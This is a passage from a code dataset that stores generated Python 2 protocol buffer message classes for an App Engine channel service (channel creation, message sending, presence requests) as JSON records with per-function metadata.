_BuildTagLookupTable({\n 0: \"ErrorCode\",\n 1: \"application_key\",\n 2: \"duration_minutes\",\n 3: \"tag\",\n }, 3)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n 1: ProtocolBuffer.Encoder.STRING,\n 2: ProtocolBuffer.Encoder.NUMERIC,\n 3: ProtocolBuffer.Encoder.STRING,\n }, 3, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.CreateChannelRequest'", "metadata": "root.CreateChannelRequest", "header": "['module', '___EOS___']", "index": 119 }, { "content": " def __init__(self, contents=None):\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.CreateChannelRequest.__init__", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 127 }, { "content": " def application_key(self): return self.application_key_", "metadata": "root.CreateChannelRequest.application_key", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 130 }, { "content": " def set_application_key(self, x):\n self.has_application_key_ = 1\n self.application_key_ = x", "metadata": "root.CreateChannelRequest.set_application_key", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 132 }, { "content": " def clear_application_key(self):\n if self.has_application_key_:\n self.has_application_key_ = 0\n self.application_key_ = \"\"", "metadata": "root.CreateChannelRequest.clear_application_key", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 136 }, { "content": " def has_application_key(self): return self.has_application_key_", "metadata": "root.CreateChannelRequest.has_application_key", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 141 }, { "content": " def duration_minutes(self): return self.duration_minutes_", "metadata": "root.CreateChannelRequest.duration_minutes", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 143 }, { "content": " def set_duration_minutes(self, x):\n self.has_duration_minutes_ = 1\n self.duration_minutes_ = x", "metadata": "root.CreateChannelRequest.set_duration_minutes", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 145 }, { "content": " def clear_duration_minutes(self):\n if self.has_duration_minutes_:\n self.has_duration_minutes_ = 0\n self.duration_minutes_ = 0", "metadata": "root.CreateChannelRequest.clear_duration_minutes", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 149 }, { "content": " def has_duration_minutes(self): return self.has_duration_minutes_", "metadata": "root.CreateChannelRequest.has_duration_minutes", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 154 }, { "content": " def tag(self): return self.tag_", "metadata": "root.CreateChannelRequest.tag", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 156 }, { "content": " def set_tag(self, x):\n self.has_tag_ = 1\n self.tag_ = x", "metadata": "root.CreateChannelRequest.set_tag", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 158 }, { "content": " def clear_tag(self):\n if self.has_tag_:\n self.has_tag_ = 0\n self.tag_ = \"\"", "metadata": "root.CreateChannelRequest.clear_tag", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 162 }, { "content": " def has_tag(self): return self.has_tag_", "metadata": "root.CreateChannelRequest.has_tag", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 167 }, { "content": " def MergeFrom(self, x):\n assert x is not self\n if (x.has_application_key()): self.set_application_key(x.application_key())\n if (x.has_duration_minutes()): self.set_duration_minutes(x.duration_minutes())\n if (x.has_tag()): self.set_tag(x.tag())", "metadata": "root.CreateChannelRequest.MergeFrom", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 170 }, { "content": " def Equals(self, x):\n if x is self: return 1\n if self.has_application_key_ != x.has_application_key_: return 0\n if self.has_application_key_ and self.application_key_ != x.application_key_: return 0\n if self.has_duration_minutes_ != x.has_duration_minutes_: return 0\n if self.has_duration_minutes_ and self.duration_minutes_ != x.duration_minutes_: return 0\n if self.has_tag_ != x.has_tag_: return 0\n if self.has_tag_ and self.tag_ != x.tag_: return 0\n return 1", "metadata": "root.CreateChannelRequest.Equals", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 176 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n if (not self.has_application_key_):\n initialized = 0\n if debug_strs is not None:\n debug_strs.append('Required field: application_key not set.')\n return initialized", "metadata": "root.CreateChannelRequest.IsInitialized", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 186 }, { "content": " def ByteSize(self):\n n = 0\n n += self.lengthString(len(self.application_key_))\n if (self.has_duration_minutes_): n += 1 + self.lengthVarInt64(self.duration_minutes_)\n if (self.has_tag_): n += 1 + self.lengthString(len(self.tag_))\n return n + 1", "metadata": "root.CreateChannelRequest.ByteSize", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 194 }, { "content": " def ByteSizePartial(self):\n n = 0\n if (self.has_application_key_):\n n += 1\n n += self.lengthString(len(self.application_key_))\n if (self.has_duration_minutes_): n += 1 + self.lengthVarInt64(self.duration_minutes_)\n if (self.has_tag_): n += 1 + self.lengthString(len(self.tag_))\n return n", "metadata": "root.CreateChannelRequest.ByteSizePartial", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 201 }, { "content": " def Clear(self):\n self.clear_application_key()\n self.clear_duration_minutes()\n self.clear_tag()", "metadata": "root.CreateChannelRequest.Clear", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 210 }, { "content": " def OutputUnchecked(self, out):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_)\n if (self.has_duration_minutes_):\n out.putVarInt32(16)\n out.putVarInt32(self.duration_minutes_)\n if (self.has_tag_):\n out.putVarInt32(26)\n out.putPrefixedString(self.tag_)", "metadata": "root.CreateChannelRequest.OutputUnchecked", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 215 }, { "content": " def OutputPartial(self, out):\n if (self.has_application_key_):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_)\n if (self.has_duration_minutes_):\n out.putVarInt32(16)\n out.putVarInt32(self.duration_minutes_)\n if (self.has_tag_):\n out.putVarInt32(26)\n out.putPrefixedString(self.tag_)", "metadata": "root.CreateChannelRequest.OutputPartial", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 225 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n if tt == 10:\n self.set_application_key(d.getPrefixedString())\n continue\n if tt == 16:\n self.set_duration_minutes(d.getVarInt32())\n continue\n if tt == 26:\n self.set_tag(d.getPrefixedString())\n continue\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.CreateChannelRequest.TryMerge", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 236 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n if self.has_application_key_: res+=prefix+(\"application_key: %s\\n\" % self.DebugFormatString(self.application_key_))\n if self.has_duration_minutes_: res+=prefix+(\"duration_minutes: %s\\n\" % self.DebugFormatInt32(self.duration_minutes_))\n if self.has_tag_: res+=prefix+(\"tag: %s\\n\" % self.DebugFormatString(self.tag_))\n return res", "metadata": "root.CreateChannelRequest.__str__", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 254 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.CreateChannelRequest._BuildTagLookupTable", "header": "['class', 'CreateChannelRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 262 }, { "content": "class CreateChannelResponse(ProtocolBuffer.ProtocolMessage):\n has_token_ = 0\n token_ = \"\"\n has_duration_minutes_ = 0\n duration_minutes_ = 0\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n ktoken = 2\n kduration_minutes = 3\n\n _TEXT = _BuildTagLookupTable({\n 0: \"ErrorCode\",\n 2: \"token\",\n 3: \"duration_minutes\",\n }, 3)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n 2: ProtocolBuffer.Encoder.STRING,\n 3: ProtocolBuffer.Encoder.NUMERIC,\n }, 3, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.CreateChannelResponse'", "metadata": "root.CreateChannelResponse", "header": "['module', '___EOS___']", "index": 287 }, { "content": " def __init__(self, contents=None):\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.CreateChannelResponse.__init__", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 293 }, { "content": " def token(self): return self.token_", "metadata": "root.CreateChannelResponse.token", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 296 }, { "content": " def set_token(self, x):\n self.has_token_ = 1\n self.token_ = x", "metadata": "root.CreateChannelResponse.set_token", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 298 }, { "content": " def clear_token(self):\n if self.has_token_:\n self.has_token_ = 0\n self.token_ = \"\"", "metadata": "root.CreateChannelResponse.clear_token", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 302 }, { "content": " def has_token(self): return self.has_token_", "metadata": "root.CreateChannelResponse.has_token", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 307 }, { "content": " def duration_minutes(self): return self.duration_minutes_", "metadata": "root.CreateChannelResponse.duration_minutes", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 309 }, { "content": " def set_duration_minutes(self, x):\n self.has_duration_minutes_ = 1\n self.duration_minutes_ = x", "metadata": "root.CreateChannelResponse.set_duration_minutes", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 311 }, { "content": " def clear_duration_minutes(self):\n if self.has_duration_minutes_:\n self.has_duration_minutes_ = 0\n self.duration_minutes_ = 0", "metadata": "root.CreateChannelResponse.clear_duration_minutes", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 315 }, { "content": " def has_duration_minutes(self): return self.has_duration_minutes_", "metadata": "root.CreateChannelResponse.has_duration_minutes", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 320 }, { "content": " def MergeFrom(self, x):\n assert x is not self\n if (x.has_token()): self.set_token(x.token())\n if (x.has_duration_minutes()): self.set_duration_minutes(x.duration_minutes())", "metadata": "root.CreateChannelResponse.MergeFrom", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 323 }, { "content": " def Equals(self, x):\n if x is self: return 1\n if self.has_token_ != x.has_token_: return 0\n if self.has_token_ and self.token_ != x.token_: return 0\n if self.has_duration_minutes_ != x.has_duration_minutes_: return 0\n if self.has_duration_minutes_ and self.duration_minutes_ != x.duration_minutes_: return 0\n return 1", "metadata": "root.CreateChannelResponse.Equals", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 328 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n return initialized", "metadata": "root.CreateChannelResponse.IsInitialized", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 336 }, { "content": " def ByteSize(self):\n n = 0\n if (self.has_token_): n += 1 + self.lengthString(len(self.token_))\n if (self.has_duration_minutes_): n += 1 + self.lengthVarInt64(self.duration_minutes_)\n return n", "metadata": "root.CreateChannelResponse.ByteSize", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 340 }, { "content": " def ByteSizePartial(self):\n n = 0\n if (self.has_token_): n += 1 + self.lengthString(len(self.token_))\n if (self.has_duration_minutes_): n += 1 + self.lengthVarInt64(self.duration_minutes_)\n return n", "metadata": "root.CreateChannelResponse.ByteSizePartial", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 346 }, { "content": " def Clear(self):\n self.clear_token()\n self.clear_duration_minutes()", "metadata": "root.CreateChannelResponse.Clear", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 352 }, { "content": " def OutputUnchecked(self, out):\n if (self.has_token_):\n out.putVarInt32(18)\n out.putPrefixedString(self.token_)\n if (self.has_duration_minutes_):\n out.putVarInt32(24)\n out.putVarInt32(self.duration_minutes_)", "metadata": "root.CreateChannelResponse.OutputUnchecked", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 356 }, { "content": " def OutputPartial(self, out):\n if (self.has_token_):\n out.putVarInt32(18)\n out.putPrefixedString(self.token_)\n if (self.has_duration_minutes_):\n out.putVarInt32(24)\n out.putVarInt32(self.duration_minutes_)", "metadata": "root.CreateChannelResponse.OutputPartial", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 364 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n if tt == 18:\n self.set_token(d.getPrefixedString())\n continue\n if tt == 24:\n self.set_duration_minutes(d.getVarInt32())\n continue\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.CreateChannelResponse.TryMerge", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 372 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n if self.has_token_: res+=prefix+(\"token: %s\\n\" % self.DebugFormatString(self.token_))\n if self.has_duration_minutes_: res+=prefix+(\"duration_minutes: %s\\n\" % self.DebugFormatInt32(self.duration_minutes_))\n return res", "metadata": "root.CreateChannelResponse.__str__", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 387 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.CreateChannelResponse._BuildTagLookupTable", "header": "['class', 'CreateChannelResponse', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 394 }, { "content": "class SendMessageRequest(ProtocolBuffer.ProtocolMessage):\n has_application_key_ = 0\n application_key_ = \"\"\n has_message_ = 0\n message_ = \"\"\n has_tag_ = 0\n tag_ = \"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n kapplication_key = 1\n kmessage = 2\n ktag = 3\n\n _TEXT = _BuildTagLookupTable({\n 0: \"ErrorCode\",\n 1: \"application_key\",\n 2: \"message\",\n 3: \"tag\",\n }, 3)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n 1: ProtocolBuffer.Encoder.STRING,\n 2: ProtocolBuffer.Encoder.STRING,\n 3: ProtocolBuffer.Encoder.STRING,\n }, 3, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.SendMessageRequest'", "metadata": "root.SendMessageRequest", "header": "['module', '___EOS___']", "index": 416 }, { "content": " def __init__(self, contents=None):\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.SendMessageRequest.__init__", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 424 }, { "content": " def application_key(self): return self.application_key_", "metadata": "root.SendMessageRequest.application_key", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 427 }, { "content": " def set_application_key(self, x):\n self.has_application_key_ = 1\n self.application_key_ = x", "metadata": "root.SendMessageRequest.set_application_key", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 429 }, { "content": " def clear_application_key(self):\n if self.has_application_key_:\n self.has_application_key_ = 0\n self.application_key_ = \"\"", "metadata": "root.SendMessageRequest.clear_application_key", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 433 }, { "content": " def has_application_key(self): return self.has_application_key_", "metadata": "root.SendMessageRequest.has_application_key", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 438 }, { "content": " def message(self): return self.message_", "metadata": "root.SendMessageRequest.message", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 440 }, { "content": " def set_message(self, x):\n self.has_message_ = 1\n self.message_ = x", "metadata": "root.SendMessageRequest.set_message", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 442 }, { "content": " def clear_message(self):\n if self.has_message_:\n self.has_message_ = 0\n self.message_ = \"\"", "metadata": "root.SendMessageRequest.clear_message", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 446 }, { "content": " def has_message(self): return self.has_message_", "metadata": "root.SendMessageRequest.has_message", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 451 }, { "content": " def tag(self): return self.tag_", "metadata": "root.SendMessageRequest.tag", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 453 }, { "content": " def set_tag(self, x):\n self.has_tag_ = 1\n self.tag_ = x", "metadata": "root.SendMessageRequest.set_tag", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 455 }, { "content": " def clear_tag(self):\n if self.has_tag_:\n self.has_tag_ = 0\n self.tag_ = \"\"", "metadata": "root.SendMessageRequest.clear_tag", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 459 }, { "content": " def has_tag(self): return self.has_tag_", "metadata": "root.SendMessageRequest.has_tag", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 464 }, { "content": " def MergeFrom(self, x):\n assert x is not self\n if (x.has_application_key()): self.set_application_key(x.application_key())\n if (x.has_message()): self.set_message(x.message())\n if (x.has_tag()): self.set_tag(x.tag())", "metadata": "root.SendMessageRequest.MergeFrom", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 467 }, { "content": " def Equals(self, x):\n if x is self: return 1\n if self.has_application_key_ != x.has_application_key_: return 0\n if self.has_application_key_ and self.application_key_ != x.application_key_: return 0\n if self.has_message_ != x.has_message_: return 0\n if self.has_message_ and self.message_ != x.message_: return 0\n if self.has_tag_ != x.has_tag_: return 0\n if self.has_tag_ and self.tag_ != x.tag_: return 0\n return 1", "metadata": "root.SendMessageRequest.Equals", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 473 }, { "content": " def IsInitialized(self, debug_strs=None):\n initialized = 1\n if (not self.has_application_key_):\n initialized = 0\n if debug_strs is not None:\n debug_strs.append('Required field: application_key not set.')\n if (not self.has_message_):\n initialized = 0\n if debug_strs is not None:\n debug_strs.append('Required field: message not set.')\n return initialized", "metadata": "root.SendMessageRequest.IsInitialized", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 483 }, { "content": " def ByteSize(self):\n n = 0\n n += self.lengthString(len(self.application_key_))\n n += self.lengthString(len(self.message_))\n if (self.has_tag_): n += 1 + self.lengthString(len(self.tag_))\n return n + 2", "metadata": "root.SendMessageRequest.ByteSize", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 495 }, { "content": " def ByteSizePartial(self):\n n = 0\n if (self.has_application_key_):\n n += 1\n n += self.lengthString(len(self.application_key_))\n if (self.has_message_):\n n += 1\n n += self.lengthString(len(self.message_))\n if (self.has_tag_): n += 1 + self.lengthString(len(self.tag_))\n return n", "metadata": "root.SendMessageRequest.ByteSizePartial", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 502 }, { "content": " def Clear(self):\n self.clear_application_key()\n self.clear_message()\n self.clear_tag()", "metadata": "root.SendMessageRequest.Clear", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 513 }, { "content": " def OutputUnchecked(self, out):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_)\n out.putVarInt32(18)\n out.putPrefixedString(self.message_)\n if (self.has_tag_):\n out.putVarInt32(26)\n out.putPrefixedString(self.tag_)", "metadata": "root.SendMessageRequest.OutputUnchecked", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 518 }, { "content": " def OutputPartial(self, out):\n if (self.has_application_key_):\n out.putVarInt32(10)\n out.putPrefixedString(self.application_key_)\n if (self.has_message_):\n out.putVarInt32(18)\n out.putPrefixedString(self.message_)\n if (self.has_tag_):\n out.putVarInt32(26)\n out.putPrefixedString(self.tag_)", "metadata": "root.SendMessageRequest.OutputPartial", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 527 }, { "content": " def TryMerge(self, d):\n while d.avail() > 0:\n tt = d.getVarInt32()\n if tt == 10:\n self.set_application_key(d.getPrefixedString())\n continue\n if tt == 18:\n self.set_message(d.getPrefixedString())\n continue\n if tt == 26:\n self.set_tag(d.getPrefixedString())\n continue\n\n\n if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError\n d.skipData(tt)", "metadata": "root.SendMessageRequest.TryMerge", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 538 }, { "content": " def __str__(self, prefix=\"\", printElemNumber=0):\n res=\"\"\n if self.has_application_key_: res+=prefix+(\"application_key: %s\\n\" % self.DebugFormatString(self.application_key_))\n if self.has_message_: res+=prefix+(\"message: %s\\n\" % self.DebugFormatString(self.message_))\n if self.has_tag_: res+=prefix+(\"tag: %s\\n\" % self.DebugFormatString(self.tag_))\n return res", "metadata": "root.SendMessageRequest.__str__", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 556 }, { "content": " def _BuildTagLookupTable(sparse, maxtag, default=None):\n return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)])", "metadata": "root.SendMessageRequest._BuildTagLookupTable", "header": "['class', 'SendMessageRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 564 }, { "content": "class ChannelPresenceRequest(ProtocolBuffer.ProtocolMessage):\n has_tag_ = 0\n tag_ = \"\"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n kapplication_key = 1\n ktag = 2\n\n _TEXT = _BuildTagLookupTable({\n 0: \"ErrorCode\",\n 1: \"application_key\",\n 2: \"tag\",\n }, 2)\n\n _TYPES = _BuildTagLookupTable({\n 0: ProtocolBuffer.Encoder.NUMERIC,\n 1: ProtocolBuffer.Encoder.STRING,\n 2: ProtocolBuffer.Encoder.STRING,\n }, 2, ProtocolBuffer.Encoder.MAX_TYPE)\n\n\n _STYLE = \"\"\"\"\"\"\n _STYLE_CONTENT_TYPE = \"\"\"\"\"\"\n _PROTO_DESCRIPTOR_NAME = 'apphosting.ChannelPresenceRequest'", "metadata": "root.ChannelPresenceRequest", "header": "['module', '___EOS___']", "index": 589 }, { "content": " def __init__(self, contents=None):\n self.application_key_ = []\n if contents is not None: self.MergeFromString(contents)", "metadata": "root.ChannelPresenceRequest.__init__", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 593 }, { "content": " def application_key_size(self): return len(self.application_key_)", "metadata": "root.ChannelPresenceRequest.application_key_size", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 597 }, { "content": " def application_key_list(self): return self.application_key_", "metadata": "root.ChannelPresenceRequest.application_key_list", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 598 }, { "content": " def application_key(self, i):\n return self.application_key_[i]", "metadata": "root.ChannelPresenceRequest.application_key", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 600 }, { "content": " def set_application_key(self, i, x):\n self.application_key_[i] = x", "metadata": "root.ChannelPresenceRequest.set_application_key", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 603 }, { "content": " def add_application_key(self, x):\n self.application_key_.append(x)", "metadata": "root.ChannelPresenceRequest.add_application_key", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 606 }, { "content": " def clear_application_key(self):\n self.application_key_ = []", "metadata": "root.ChannelPresenceRequest.clear_application_key", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 609 }, { "content": " def tag(self): return self.tag_", "metadata": "root.ChannelPresenceRequest.tag", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 612 }, { "content": " def set_tag(self, x):\n self.has_tag_ = 1\n self.tag_ = x", "metadata": "root.ChannelPresenceRequest.set_tag", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 614 }, { "content": " def clear_tag(self):\n if self.has_tag_:\n self.has_tag_ = 0\n self.tag_ = \"\"", "metadata": "root.ChannelPresenceRequest.clear_tag", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 618 }, { "content": " def has_tag(self): return self.has_tag_", "metadata": "root.ChannelPresenceRequest.has_tag", "header": "['class', 'ChannelPresenceRequest', '(', 'ProtocolBuffer', '.', 'ProtocolMessage', ')', ':', '___EOS___']", "index": 623 }, { "content": " def MergeFrom(self, x):\n assert x is not self\n for i in xrange(x.application_key_size()): self.add_application_key(x.application_key(i))\n if (x.has_tag()): self.set_tag(x.tag())", "metadata": "root.ChannelPresenceRequest.MergeFrom", 